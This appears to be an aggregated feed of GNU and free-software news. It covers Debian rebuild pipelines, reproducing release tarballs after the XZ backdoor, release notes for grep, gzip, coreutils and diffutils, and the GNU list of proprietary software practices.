The GNU Health project provides the tools for individuals, health professionals, institutions and governments to proactively assess and improve the underlying determinants of health, from the socioeconomic agents to the molecular basis of disease. From primary health care to precision medicine.
The following are the main components that make up the GNU Health ecosystem:
Hospital Management (HMIS)
Social Medicine and Public Health
Laboratory Management (Occhiolino)
Personal Health Record (MyGNUHealth)
Bioinformatics and Medical Genetics
Thalamus and Federated health networks
GNU Health embedded on Single Board devices
GNU Health is a GNU (www.gnu.org) official package, awarded with the Free Software Foundation award of Social benefit. GNU Health has been declared a Digital Public Good ,adopted by many hospitals, governments and multilateral organizations around the globe.
After thinking about multi-stage Debian rebuilds I wanted to implement the idea. Recall my illustration:
Earlier I rebuilt all packages that make up the difference between Ubuntu and Trisquel. It turned out to be a 42% bit-by-bit identical similarity. To check the generality of my approach, I rebuilt the difference between Debian and Devuan too. That was the debdistreproduce project. It “only” had to orchestrate building up to around 500 packages for each distribution and per architecture.
Differential reproducible rebuilds doesn’t give you the full picture: it ignore the shared package between the distribution, which make up over 90% of the packages. So I felt a desire to do full archive rebuilds. The motivation is that in order to trust Trisquel binary packages, I need to trust Ubuntu binary packages (because that make up 90% of the Trisquel packages), and many of those Ubuntu binaries are derived from Debian source packages. How to approach all of this? Last year I created the debdistrebuild project, and did top-50 popcon package rebuilds of Debian bullseye, bookworm, trixie, and Ubuntu noble and jammy, on a mix of amd64 and arm64. The amount of reproducibility was lower. Primarily the differences were caused by using different build inputs.
Last year I spent (too much) time creating a mirror of snapshot.debian.org, to be able to have older packages available for use as build inputs. I have two copies hosted at different datacentres for reliability and archival safety. At the time, snapshot.d.o had serious rate-limiting making it pretty unusable for massive rebuild usage or even basic downloads. Watching the multi-month download complete last year had a meditating effect. The completion of my snapshot download co-incided with me realizing something about the nature of rebuilding packages. Let me below give a recap of the idempotent rebuilds idea, because it motivate my work to build all of Debian from a GitLab pipeline.
One purpose for my effort is to be able to trust the binaries that I use on my laptop. I believe that without building binaries from source code, there is no practically feasible way to trust binaries. To trust any binary you receive, you can de-assemble the bits and audit the assembler instructions for the CPU you will execute it on. Doing that on a OS-wide level this is unpractical. A more practical approach is to audit the source code, and then confirm that the binary is 100% bit-by-bit identical to one that you can build yourself (from the same source) on your own trusted toolchain. This is similar to a reproducible build.
My initial goal with debdistrebuild was to get to 100% bit-by-bit identical rebuilds, and then I would have trustworthy binaries. Or so I thought. This also appears to be the goal of reproduce.debian.net. They want to reproduce the official Debian binaries. That is a worthy and important goal. They achieve this by building packages using the build inputs that were used to build the binaries. The build inputs are earlier versions of Debian packages (not necessarily from any public Debian release), archived at snapshot.debian.org.
I realized that these rebuilds would be not be sufficient for me: it doesn’t solve the problem of how to trust the toolchain. Let’s assume the reproduce.debian.net effort succeeds and is able to 100% bit-by-bit identically reproduce the official Debian binaries. Which appears to be within reach. To have trusted binaries we would “only” have to audit the source code for the latest version of the packages AND audit the tool chain used. There is no escaping from auditing all the source code — that’s what I think we all would prefer to focus on, to be able to improve upstream source code.
The trouble is about auditing the tool chain. With the Reproduce.debian.net approach, that is a recursive problem back to really ancient Debian packages, some of them which may no longer build or work, or even be legally distributable. Auditing all those old packages is a LARGER effort than auditing all current packages! Doing auditing of old packages is of less use to making contributions: those releases are old, and chances are any improvements have already been implemented and released. Or that improvements are no longer applicable because the projects evolved since the earlier version.
See where this is going now? I reached the conclusion that reproducing official binaries using the same build inputs is not what I’m interested in. I want to be able to build the binaries that I use from source using a toolchain that I can also build from source. And preferably that all of this is using latest version of all packages, so that I can contribute and send patches for them, to improve matters.
The toolchain that Reproduce.Debian.Net is using is not trustworthy unless all those ancient packages are audited or rebuilt bit-by-bit identically, and I don’t see any practical way forward to achieve that goal. Nor have I seen anyone working on that problem. It is possible to do, though, but I think there are simpler ways to achieve the same goal.
My approach to reach trusted binaries on my laptop appears to be a three-step effort:
Encourage an idempotently rebuildable Debian archive, i.e., a Debian archive that can be 100% bit-by-bit identically rebuilt using Debian itself.
Construct a smaller number of binary *.deb packages based on Guix binaries that when used as build inputs (potentially iteratively) leads to 100% bit-by-bit identical packages as in step 1.
Encourage a freedom respecting distribution, similar to Trisquel, from this idempotently rebuildable Debian.
How to go about achieving this? Today’s Debian build architecture is something that lack transparency and end-user control. The build environment and signing keys are managed by, or influenced by, unidentified people following undocumented (or at least not public) security procedures, under unknown legal jurisdictions. I always wondered why none of the Debian-derivates have adopted a modern GitDevOps-style approach as a method to improve binary build transparency, maybe I missed some project?
If you want to contribute to some GitHub or GitLab project, you click the ‘Fork’ button and get a CI/CD pipeline running which rebuild artifacts for the project. This makes it easy for people to contribute, and you get good QA control because the entire chain up until its artifact release are produced and tested. At least in theory. Many projects are behind on this, but it seems like this is a useful goal for all projects. This is also liberating: all users are able to reproduce artifacts. There is no longer any magic involved in preparing release artifacts. As we’ve seen with many software supply-chain security incidents for the past years, where the “magic” is involved is a good place to introduce malicious code.
To allow me to continue with my experiment, I thought the simplest way forward was to setup a GitDevOps-centric and user-controllable way to build the entire Debian archive. Let me introduce the debdistbuild project.
Debdistbuild is a re-usable GitLab CI/CD pipeline, similar to the Salsa CI pipeline. It provide one “build” job definition and one “deploy” job definition. The pipeline can run on GitLab.org Shared Runners or you can set up your own runners, like my GitLab riscv64 runner setup. I have concerns about relying on GitLab (both as software and as a service), but my ideas are easy to transfer to some other GitDevSecOps setup such as Codeberg.org. Self-hosting GitLab, including self-hosted runners, is common today, and Debian rely increasingly on Salsa for this. All of the build infrastructure could be hosted on Salsa eventually.
The build job is simple. From within an official Debian container image build packages using dpkg-buildpackage essentially by invoking the following commands.
sed -i 's/ deb$/ deb deb-src/' /etc/apt/sources.list.d/*.sourcesapt-get -o Acquire::Check-Valid-Until=false updateapt-get dist-upgrade -q -yapt-get install -q -y --no-install-recommends build-essential fakerootenv DEBIAN_FRONTEND=noninteractive \ apt-get build-dep -y --only-source $PACKAGE=$VERSIONuseradd -m buildDDB_BUILDDIR=/build/reproducible-pathchgrp build $DDB_BUILDDIRchmod g+w $DDB_BUILDDIRsu build -c "apt-get source --only-source $PACKAGE=$VERSION" > ../$PACKAGE_$VERSION.buildcd $DDB_BUILDDIRsu build -c "dpkg-buildpackage"cd ..mkdir outmv -v $(find $DDB_BUILDDIR -maxdepth 1 -type f) out/
The deploy job is also simple. It commit artifacts to a Git project using Git-LFS to handle large objects, essentially something like this:
if ! grep -q '^pool/**' .gitattributes; then git lfs track 'pool/**' git add .gitattributes git commit -m"Track pool/* with Git-LFS." .gitattributesfiPOOLDIR=$(if test "$(echo "$PACKAGE" | cut -c1-3)" = "lib"; then C=4; else C=1; fi; echo "$DDB_PACKAGE" | cut -c1-$C)mkdir -pv pool/main/$POOLDIR/rm -rfv pool/main/$POOLDIR/$PACKAGEmv -v out pool/main/$POOLDIR/$PACKAGEgit add poolgit commit -m"Add $PACKAGE." -m "$CI_JOB_URL" -m "$VERSION" -aif test "${DDB_GIT_TOKEN:-}" = ""; then echo "SKIP: Skipping git push due to missing DDB_GIT_TOKEN (see README)."else git push -o ci.skipfi
That’s it! The actual implementation is a bit longer, but the major difference is for log and error handling.
You may review the source code of the base Debdistbuild pipeline definition, the base Debdistbuild script and the rc.d/-style scripts implementing the build.d/ process and the deploy.d/ commands.
There was one complication related to artifact size. GitLab.org job artifacts are limited to 1GB. Several packages in Debian produce artifacts larger than this. What to do? GitLab supports up to 5GB for files stored in its package registry, but this limit is too close for my comfort, having seen some multi-GB artifacts already. I made the build job optionally upload artifacts to a S3 bucket using SHA256 hashed file hierarchy. I’m using Hetzner Object Storage but there are many S3 providers around, including self-hosting options. This hierarchy is compatible with the Git-LFS .git/lfs/object/ hierarchy, and it is easy to setup a separate Git-LFS object URL to allow Git-LFS object downloads from the S3 bucket. In this mode, only Git-LFS stubs are pushed to the git repository. It should have no trouble handling the large number of files, since I have earlier experience with Apt mirrors in Git-LFS.
To speed up job execution, and to guarantee a stable build environment, instead of installing build-essential packages on every build job execution, I prepare some build container images. The project responsible for this is tentatively called stage-N-containers. Right now it create containers suitable for rolling builds of trixie on amd64, arm64, and riscv64, and a container intended for as use the stage-0 based on the 20250407 docker images of bookworm on amd64 and arm64 using the snapshot.d.o 20250407 archive. Or actually, I’m using snapshot-cloudflare.d.o because of download speed and reliability. I would have prefered to use my own snapshot mirror with Hetzner bandwidth, alas the Debian snapshot team have concerns about me publishing the list of (SHA1 hash) filenames publicly and I haven’t been bothered to set up non-public access.
Debdistbuild has built around 2.500 packages for bookworm on amd64 and bookworm on arm64. To confirm the generality of my approach, it also build trixie on amd64, trixie on arm64 and trixie on riscv64. The riscv64 builds are all on my own hosted runners. For amd64 and arm64 my own runners are only used for large packages where the GitLab.com shared runners run into the 3 hour time limit.
What’s next in this venture? Some ideas include:
Optimize the stage-N build process by identifying the transitive closure of build dependencies from some initial set of packages.
Create a build orchestrator that launches pipelines based on the previous list of packages, as necessary to fill the archive with necessary packages. Currently I’m using a basic /bin/sh for loop around curl to trigger GitLab CI/CD pipelines with names derived from https://popcon.debian.org/.
Create and publish a dists/ sub-directory, so that it is possible to use the newly built packages in the stage-1 build phase.
Produce diffoscope-style differences of built packages, both stage0 against official binaries and between stage0 and stage1.
Create the stage-1 build containers and stage-1 archive.
Review build failures. On amd64 and arm64 the list is small (below 10 out of ~5000 builds), but on riscv64 there is some icache-related problem that affects Java JVM that triggers build failures.
Provide GitLab pipeline based builds of the Debian docker container images, cloud-images, debian-live CD and debian-installer ISO’s.
Provide integration with Sigstore and Sigsum for signing of Debian binaries with transparency-safe properties.
Implement a simple replacement for dpkg and apt using /bin/sh for use during bootstrapping when neither packaging tools are available.
We are happy to announce the release of two new GNU Taler components: The Taler Directory (TalDir) and Mailbox services. The Taler Wallet will be integrated in future versions to interact with the Taler Directory and Mailbox in order to deliver a smooth user experience for Peer-to-Peer payments.
RadicallyOpenSecurity performed an external crystal-box security audit of the GNU Taler iOS wallet (excluding wallet-core) funded by NGI. You can find the final report here. We already addressed all significant findings except enabling FaceID/TouchID to enable using the app which remains a feature on our roadmap to be addressed in the next few months. We thank RadicallyOpenSecurity for their work and the European Commission's Horizion 2020 NGI initiative for funding the development of the iOS wallet including the security review.
A draft of a proposed GNU extension to the Algol 68 programming language has been published today at https://algol68-lang.org/docs/GNU68-2025-004-supper.pdf.
SUPPER stropping in Algol 68 This new stropping regime aims to be more appealing to contemporary programmers, and also more convenient to be used in today's computing systems, while at the same time retaining the full expressive power of a stropped language and being 100% backwards compatible as a super-extension.
The stropping regime has been already implemented in the https://gcc.gnu.org/wiki/Algol68FrontEndGCC Algol 68 front-end and also in the Emacs a68-mode that provides full automatic indentation and syntax highlighting.
The sources of the godcc program have been already transitioned to the new regime, and the result is quite satisfactory. Check it out!
Comments and suggestions for the draft are very welcome, and would help to move the draft forward to a final state. Please send them to algol68@gcc.gnu.org.
Remember the XZ Utils backdoor? One factor that enabled the attack was poor auditing of the release tarballs for differences compared to the Git version controlled source code. This proved to be a useful place to distribute malicious data.
The differences between release tarballs and upstream Git sources is typically vendored and generated files. Lots of them. Auditing all source tarballs in a distribution for similar issues is hard and boring work for humans. Wouldn’t it be better if that human auditing time could be spent auditing the actual source code stored in upstream version control instead? That’s where auditing time would help the most.
Are there better ways to address the concern about differences between version control sources and tarball artifacts? Let’s consider some approaches:
Stop publishing (or at least stop building from) source tarballs that differ from version control sources.
Create recipes for how to derive the published source tarballs from version control sources. Verify that independently from upstream.
While I like the properties of the first solution, and have made effort to support that approach, I don’t think normal source tarballs are going away any time soon. I am concerned that it may not even be a desirable complete solution to this problem. We may need tarballs with pre-generated content in them for various reasons that aren’t entirely clear to us today.
So let’s consider the second approach. It could help while waiting for more experience with the first approach, to see if there are any fundamental problems with it.
How do you know that the XZ release tarballs was actually derived from its version control sources? The same for Gzip? Coreutils? Tar? Sed? Bash? GCC? We don’t know this! I am not aware of any automated or collaborative effort to perform this independent confirmation. Nor am I aware of anyone attempting to do this on a regular basis. We would want to be able to do this in the year 2042 too. I think the best way to reach that is to do the verification continuously in a pipeline, fixing bugs as time passes. The current state of the art seems to be that people audit the differences manually and hope to find something. I suspect many package maintainers ignore the problem and take the release source tarballs and trust upstream about this.
We can do better.
I have launched a project to setup a GitLab pipeline that invokes per-release scripts to rebuild that release artifact from git sources. Currently it only contain recipes for projects that I released myself. Releases which where done in a controlled way with considerable care to make reproducing the tarballs possible. The project homepage is here:
The project is able to reproduce the release tarballs for Libtasn1 v4.20.0, InetUtils v2.6, Libidn2 v2.3.8, Libidn v1.43, and GNU SASL v2.2.2. You can see this in a recent successful pipeline. All of those releases were prepared using Guix, and I’m hoping the Guix time-machine will make it possible to keep re-generating these tarballs for many years to come.
I spent some time trying to reproduce the current XZ release tarball for version 5.8.1. That would have been a nice example, wouldn’t it? First I had to somehow mimic upstream’s build environment. The XZ release tarball contains GNU Libtool files that are identified with version 2.5.4.1-baa1-dirty. I initially assumed this was due to the maintainer having installed libtool from git locally (after making some modifications) and made the XZ release using it. Later I learned that it may actually be coming from ArchLinux which ship with this particular libtool version. It seems weird for a distribution to use libtool built from a non-release tag, and furthermore applying patches to it, but things are what they are. I made some effort to setup an ArchLinux build environment, however the now-current Gettext version in ArchLinux seems to be more recent than the one that were used to prepare the XZ release. I don’t know enough ArchLinux to setup an environment corresponding to an earlier version of ArchLinux, which would be required to finish this. I gave up, maybe the XZ release wasn’t prepared on ArchLinux after all. Actually XZ became a good example for this writeup anyway: while you would think this should be trivial, the fact is that it isn’t! (There is another aspect here: fingerprinting the versions used to prepare release tarballs allows you to infer what kind of OS maintainers are using to make releases on, which is interesting on its own.)
I made some small attempts to reproduce the tarball for GNU Shepherd version 1.0.4 too, but I still haven’t managed to complete it.
Do you want a supply-chain challenge for the Easter weekend? Pick some well-known software and try to re-create the official release tarballs from the corresponding Git checkout. Is anyone able to reproduce anything these days? Bonus points for wrapping it up as a merge request to my project.
Greetings! While these tiny issues will likely not affect many if any,
there are alas a few tiny errata with the 2.7.1 tarball release. Posted
here just for those interested. Will of course be incorporated in the
next release.
Greetings! The GCL team is happy to announce the release of version
2.7.1, the culmination of many years of work and a major development
in the evolution of GCL. Please see http://www.gnu.org/software/gcl for
downloading information.
thing = Thing()try: thing.do\_stuff()finally: thing.close()
Do do this:
from contextlib import closingwith closing(Thing()) as thing: thing.do\_stuff()
Why is the second better? Using contextlib.closing() ties closing the item to its creation. These baby examples are about equally easy to reason about, with only a single line in the try block, but consider what happens ~~if~~when more lines get added in future? In the first example, the close moves away, potentially offscreen, but that doesn’t happen in the second.
GNUnet 0.24.1 This is a bugfix release for gnunet 0.24.0.It fixes some regressions and minor bugs.
Links * Source: https://ftpmirror.gnu.org/gnunet/gnunet-0.24.1.tar.gz ( https://ftpmirror.gnu.org/gnunet/gnunet-0.24.1.tar.gz.sig )
* Detailed list of changes: https://git.gnunet.org/gnunet.git/log/?h=v0.24.1
* NEWS: https://git.gnunet.org/gnunet.git/tree/NEWS?h=v0.24.1
* The list of closed issues in the bug tracker: https://bugs.gnunet.org/changelog_page.php?version_id=464
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links may be functionalearly after the release. For direct access try https://ftp.gnu.org/gnu/gnunet/
It's been nearly two years! There have been two bug fixes and many
harder-to-see improvements via gnulib. Thanks to Paul Eggert for doing
so much of the work and Bruno Haible for all the testing and all he does
to make gnulib a paragon of portable, reliable, top-notch code.
There have been 77 commits by 6 people in the 100 weeks since 3.11.
See the NEWS below for a brief summary.
Thanks to everyone who has contributed!
The following people contributed changes to this release:
Bruno Haible (5)
Carlo Marcelo Arenas Belón (1)
Collin Funk (1)
Grisha Levit (1)
Jim Meyering (31)
Paul Eggert (38)
Jim
[on behalf of the grep maintainers]
==================================================================
Here is the GNU grep home page:
https://gnu.org/s/grep/
Here are the compressed sources:
https://ftp.gnu.org/gnu/grep/grep-3.12.tar.gz (3.1MB)
https://ftp.gnu.org/gnu/grep/grep-3.12.tar.xz (1.9MB)
Here are the GPG detached signatures:
https://ftp.gnu.org/gnu/grep/grep-3.12.tar.gz.sig
https://ftp.gnu.org/gnu/grep/grep-3.12.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Verify the base64 SHA256 checksum with cksum -a sha256 --check
from coreutils-9.2 or OpenBSD's cksum since 2007.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify grep-3.12.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
or run this command from a git-cloned grep directory:
git shortlog v3.11..v3.12
This release was bootstrapped with the following tools:
Autoconf 2.72.76-2f64
Automake 1.17.0.91
Gnulib 2025-04-04 3773db653242ab7165cd300295c27405e4f9cc79
NEWS
Noteworthy changes in release 3.12 (2025-04-10) [stable]
** Bug fixes
Searching a directory with at least 100,000 entries no longer fails
with "Operation not supported" and exit status 2. Now, this prints 1
and no diagnostic, as expected:
$ mkdir t && cd t && seq 100000|xargs touch && grep -r x .; echo $?
1
[bug introduced in grep 3.11]
-mN where 1 < N no longer mistakenly lseeks to end of input merely
because standard output is /dev/null.
** Changes in behavior
The --unix-byte-offsets (-u) option is gone. In grep-3.7 (2021-08-14)
it became a warning-only no-op. Before then, it was a Windows-only no-op.
On Windows platforms and on AIX in 32-bit mode, grep in some cases
now supports Unicode characters outside the Basic Multilingual Plane.
Most notable: "gzip -d" is up to 40% faster on x86_64 CPUs with pclmul
support. Why? Because about half of its time was spent computing a CRC
checksum, and that code is far more efficient now. Even on 10-year-old
CPUs lacking pclmul support, it's ~20% faster. Thanks to Lasse Collin
for alerting me to this very early on, to Sam Russell for contributing
gnulib's new crc module and to Bruno Haible and everyone else who keeps
the bar so high for all of gnulib. And as usual, thanks to Paul Eggert
for many contributions everywhere.
There have been 58 commits by 7 people in the 85 weeks since 1.13.
See the NEWS below for a brief summary.
Thanks to everyone who has contributed!
The following people contributed changes to this release:
Bruno Haible (1)
Collin Funk (4)
Jim Meyering (26)
Lasse Collin (1)
Paul Eggert (24)
Sam Russell (1)
Simon Josefsson (1)
Jim
[on behalf of the gzip maintainers]
==================================================================
Here is the GNU gzip home page:
https://gnu.org/s/gzip/
Here are the compressed sources:
https://ftp.gnu.org/gnu/gzip/gzip-1.14.tar.gz (1.4MB)
https://ftp.gnu.org/gnu/gzip/gzip-1.14.tar.xz (868KB)
Here are the GPG detached signatures:
https://ftp.gnu.org/gnu/gzip/gzip-1.14.tar.gz.sig
https://ftp.gnu.org/gnu/gzip/gzip-1.14.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Verify the base64 SHA256 checksum with cksum -a sha256 --check
from coreutils-9.2 or OpenBSD's cksum since 2007.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify gzip-1.14.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
or run this command from a git-cloned gzip directory:
git shortlog v1.13..v1.14
This release was bootstrapped with the following tools:
Autoconf 2.72.76-2f64
Automake 1.17.0.91
Gnulib 2025-01-31 553ab924d2b68d930fae5d3c6396502a57852d23
NEWS
Noteworthy changes in release 1.14 (2025-04-09) [stable]
** Bug fixes
'gzip -d' no longer omits the last partial output buffer when the
input ends unexpectedly on an IBM Z platform.
[bug introduced in gzip-1.11]
'gzip -l' no longer misreports lengths of multimember inputs.
[bug introduced in gzip-1.12]
'gzip -S' now rejects suffixes containing '/'.
[bug present since the beginning]
** Changes in behavior
The GZIP environment variable is now silently ignored except for the
options -1 (--fast) through -9 (--best), --rsyncable, and --synchronous.
This brings gzip into line with more-cautious compressors like zstd
that limit environment variables' effect to relatively innocuous
performance issues. You can continue to use scripts to specify
whatever gzip options you like.
'zmore' is no longer installed on platforms lacking 'more'.
** Performance improvements
gzip now decompresses significantly faster by computing CRCs via a
slice by 8 algorithm, and faster yet on x86-64 platforms that
support pclmul instructions.
This is to announce coreutils-9.7, a stable release.
There have been 63 commits by 11 people in the 12 weeks since 9.6,
with a focus on bug fixing and stabilization.
See the NEWS below for a brief summary.
Thanks to everyone who has contributed!
The following people contributed changes to this release:
Bruno Haible (1) Jim Meyering (2)
Collin Funk (2) Lukáš Zaoral (1)
Daniel Hofstetter (1) Mike Swanson (1)
Frédéric Yhuel (1) Paul Eggert (21)
G. Branden Robinson (1) Pádraig Brady (32)
Grisha Levit (1)
Pádraig [on behalf of the coreutils maintainers]
Here is the GNU coreutils home page:
https://gnu.org/s/coreutils/
Here are the compressed sources:
https://ftp.gnu.org/gnu/coreutils/coreutils-9.7.tar.gz (15MB)
https://ftp.gnu.org/gnu/coreutils/coreutils-9.7.tar.xz (5.9MB)
Here are the GPG detached signatures:
https://ftp.gnu.org/gnu/coreutils/coreutils-9.7.tar.gz.sig
https://ftp.gnu.org/gnu/coreutils/coreutils-9.7.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify coreutils-9.7.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
or run this command from a git-cloned coreutils directory:
git shortlog v9.6..v9.7
This release was bootstrapped with the following tools:
Autoconf 2.72.70-9ff9
Automake 1.16.5
Gnulib 2025-04-07 41e7b7e0d159d8ac0eb385964119f350ac9dfc3f
Bison 3.8.2
NEWS
Noteworthy changes in release 9.7 (2025-04-09) [stable]
** Bug fixes
'cat' would fail with "input file is output file" if input and
output are the same terminal device and the output is append-only.
[bug introduced in coreutils-9.6]
'cksum -a crc' misbehaved on aarch64 with 32-bit uint_fast32_t.
[bug introduced in coreutils-9.6]
dd with the 'nocache' flag will now detect all failures to drop the
cache for the whole file. Previously it may have erroneously succeeded.
[bug introduced with the "nocache" feature in coreutils-8.11]
'ls -Z dir' would crash on all systems, and 'ls -l' could crash
on systems like Android with SELinux but without xattr support.
[bug introduced in coreutils-9.6]
ls -l could output spurious "Not supported" errors in certain cases,
like with dangling symlinks on cygwin.
[bug introduced in coreutils-9.6]
timeout would fail to timeout commands with infinitesimal timeouts.
For example timeout 1e-5000 sleep inf would never timeout.
[bug introduced with timeout in coreutils-7.0]
sleep, tail, and timeout would sometimes sleep for slightly less
time than requested.
[bug introduced in coreutils-5.0]
'who -m' now outputs entries for remote logins. Previously login
entries prefixed with the service (like "sshd") were not matched.
[bug introduced in coreutils-9.4]
** Improvements
'logname' correctly returns the user who logged in the session,
on more systems. Previously on musl or uclibc it would have merely
output the LOGNAME environment variable.
This is to announce diffutils-3.12, a stable bug-fix release.
Thanks to Paul Eggert and Collin Funk for the bug fixes.
There have been 13 commits by 4 people in the 9 weeks since 3.11.
See the NEWS below for a brief summary.
Thanks to everyone who has contributed!
The following people contributed changes to this release:
Collin Funk (1)
Jim Meyering (6)
Paul Eggert (5)
Simon Josefsson (1)
Jim
[on behalf of the diffutils maintainers]
==================================================================
Here is the GNU diffutils home page:
https://gnu.org/s/diffutils/
Here are the compressed sources:
https://ftp.gnu.org/gnu/diffutils/diffutils-3.12.tar.gz (3.3MB)
https://ftp.gnu.org/gnu/diffutils/diffutils-3.12.tar.xz (1.9MB)
Here are the GPG detached signatures:
https://ftp.gnu.org/gnu/diffutils/diffutils-3.12.tar.gz.sig
https://ftp.gnu.org/gnu/diffutils/diffutils-3.12.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Verify the base64 SHA256 checksum with cksum -a sha256 --check
from coreutils-9.2 or OpenBSD's cksum since 2007.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify diffutils-3.12.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
or run this command from a git-cloned diffutils directory:
git shortlog v3.11..v3.12
This release was bootstrapped with the following tools:
Autoconf 2.72.76-2f64
Automake 1.17.0.91
Gnulib 2025-04-04 3773db653242ab7165cd300295c27405e4f9cc79
NEWS
Noteworthy changes in release 3.12 (2025-04-08) [stable]
** Bug fixes
diff -r no longer merely summarizes when comparing an empty regular
file to a nonempty regular file.
[bug#76452 introduced in 3.11]
diff -y no longer crashes when given nontrivial differences.
[bug#76613 introduced in 3.11]
The initial injustice of proprietary software often leads to further injustices: malicious functionalities.
The introduction of unjust techniques in nonfree software, such as back doors, DRM, tethering, and others, has become ever more frequent. Nowadays, it is standard practice.
We at the GNU Project show examples of malware that has been introduced in a wide variety of products and dis-services people use everyday, and of companies that make use of these techniques.
Here are our latest additionsMarch 2025Microsoft's Software is Malware
Windows Recall is a feature of Microsoft's Copilot tool that comes preinstalled on AI-specialized computers. Recall records everything users do on their computer and allows them to search the recordings, but it has numerous security flaws and poses a risk to privacy. As Recall cannot be completely uninstalled, disabling it doesn't eliminate the risk because it can be reactivated by malware or misconfiguration. Microsoft says that Recall will not take screenshots of digitally restricted media. Meanwhile, it stores sensitive user information such as passwords and bank account numbers, showing that whereas Microsoft worries somewhat about corporate interests, it couldn't care less about user privacy.
Windows Defender deletes downloaded files that it considers malware as soon as they are saved to disk, without requesting permission to do so. Many angry users have complained about this unacceptable behavior over the last few years, and even suggested fixes, but Microsoft has ignored them. It is high time for Windows users to escape Microsoft's tyranny by migrating to a free/libre system.
Microsoft has started to show ads in the “Recommended” section of the Windows 11 Start menu. Previously, this section only included recently used documents and images. Now it also contains the icons of apps Microsoft wants to advertise, in the hope that the user will click on one of them, and buy the app. So far, the user can disable the ads, but this doesn't make them more legitimate.
In its default configuration, Windows 11 now uploads users' files and personal information to Microsoft's “cloud” without asking permission to do so. This is presented as a convenient backup method, but if the allotted storage capacity is exceeded, the user will need to buy more space, increasing Microsoft's profit. However, this small profit is probably not the company's major reason for making cloud storage the default. Here is an excerpt from the Microsoft Services agreement (Section 2b): To the extent necessary to provide the Services to you and others, to protect you and the Services, and to improve Microsoft products and services, you grant to Microsoft a worldwide and royalty-free intellectual property license to use Your Content, for example, to make copies of, retain, transmit, reformat, display, and distribute via communication tools Your Content on the Services. We strongly suspect that the backed-up material is used to feed Microsoft's greedy “AI.” In addition, it is most likely analysed to better profile users in order to flood them with targeted ads, thereby generating more profit.Users, on the other hand, are at the mercy of any entity that demands their data, let alone of any cracker that breaks into Microsoft's servers. They must escape from this sick environment, and install a sane free/libre system.
Outlook has become a “data collection and ad delivery service”. Since Outlook is now integrated with Microsoft “cloud” services, and doesn't support end-to-end encryption, the company has full access to users' emails, contacts, and calendar events. Microsoft may also retrieve credentials associated with any third-party services that are synchronized with Outlook. This trove of personal data enables Microsoft, as well as its commercial partners, to flood users with targeted ads, and possibly to train “artificial intelligences.” Even worse, this data is available to any government that can force Microsoft to hand it over.
Microsoft is shutting down Skype on May 5th, 2025. As with other tethered proprietary programs, users have to rely on servers that are controlled by the developer. When these servers shut down, the service disappears. Instead of migrating to the service that Microsoft suggests as a replacement, Skype users should regain control of their communications by switching to one that is based on free software. Jitsi Meet, for example, is appropriate for small video meetings. Anyone can set up a Jitsi server and let other people use it, and indeed many of these are available around the world.
A critical vulnerability in Windows systems that support IPv6 was discovered in 2024, 16 years after the first affected system was released. Unless the relevant patch is applied, an attacker can remotely execute arbitrary code on these systems. Microsoft considers exploits “likely.” The same sort of vulnerability in a free/libre operating system would probably be discovered sooner, since many more people would be able to look at the source code.
Google's Software is Malware
The Pixel 9 “smart”phone frequently updates Google servers with its location and current configuration along with personally identifiable data, raising concerns about user privacy. Moreover, it communicates with services that are not in use, and periodically attempts to download experimental, possibly insecure software. The system does not inform the user that it is doing all this. There is hope, however: it is possible to replace the original Android operating system with a deGoogled version in Pixel phones up to 8a, and in phones from many other brands. No doubt that the Pixel 9 will be supported soon.
Google's ad platform enabled advertisers to run cryptocurrency miner code on the computers of YouTube users through proprietary JavaScript. Some people noticed this, and the outrage made Google remove the miners, but the number of affected users was probably very high.
Proprietary Censorship
As of 2021, preinstallation of Russian-made proprietary software has been mandatory on new computers and “smart” devices sold in Russia, under threat of a fine for the retailer, and the list of mandatory applications keeps growing. This gives the government a convenient way to censor information, spy on people's online activity, and restrict free speech.
Adobe's Software is Malware
In its terms of service, Adobe gives itself permission to spy on material that people upload to its servers, supposedly for moderation purposes. In spite of Adobe's denial, we can expect that sooner or later it will use this material to train its so-called “artificial intelligence,” and will claim that by agreeing to the terms of service users gave it the right to do so.
Proprietary Sabotage
Ubisoft is facing a fraud lawsuit for shutting down the proprietary video game The Crew, which was tethered to its servers. As this game can't be played offline, people who used to think they owned a copy of it are now realizing they only bought a license that could be revoked at will by the developer. This is one more example of what tethering of a proprietary program leads to. If The Crew were free software, its users would be able to set up another server, and keep on playing.
Proprietary Tethers
Bungie's Destiny 2 is plagued with two major flaws: Like all proprietary tethered games, it can't be played when the company's servers are offline. Ever since Bungie chose BattlEye as an anti-cheat program, Destiny 2 has been incompatible with GNU/Linux (this page can't be viewed without JavaScript). Bungie forces Steam Deck users to replace SteamOS with Windows, or play from Edge browser. This doesn't have to be so, as several other games that use BattlEye do support GNU/Linux systems. Rather than doing the necessary adjustments, Bungie forces users to run nonfree software in order to keep an absolute control over them.
Apple's Operating Systems Are Malware
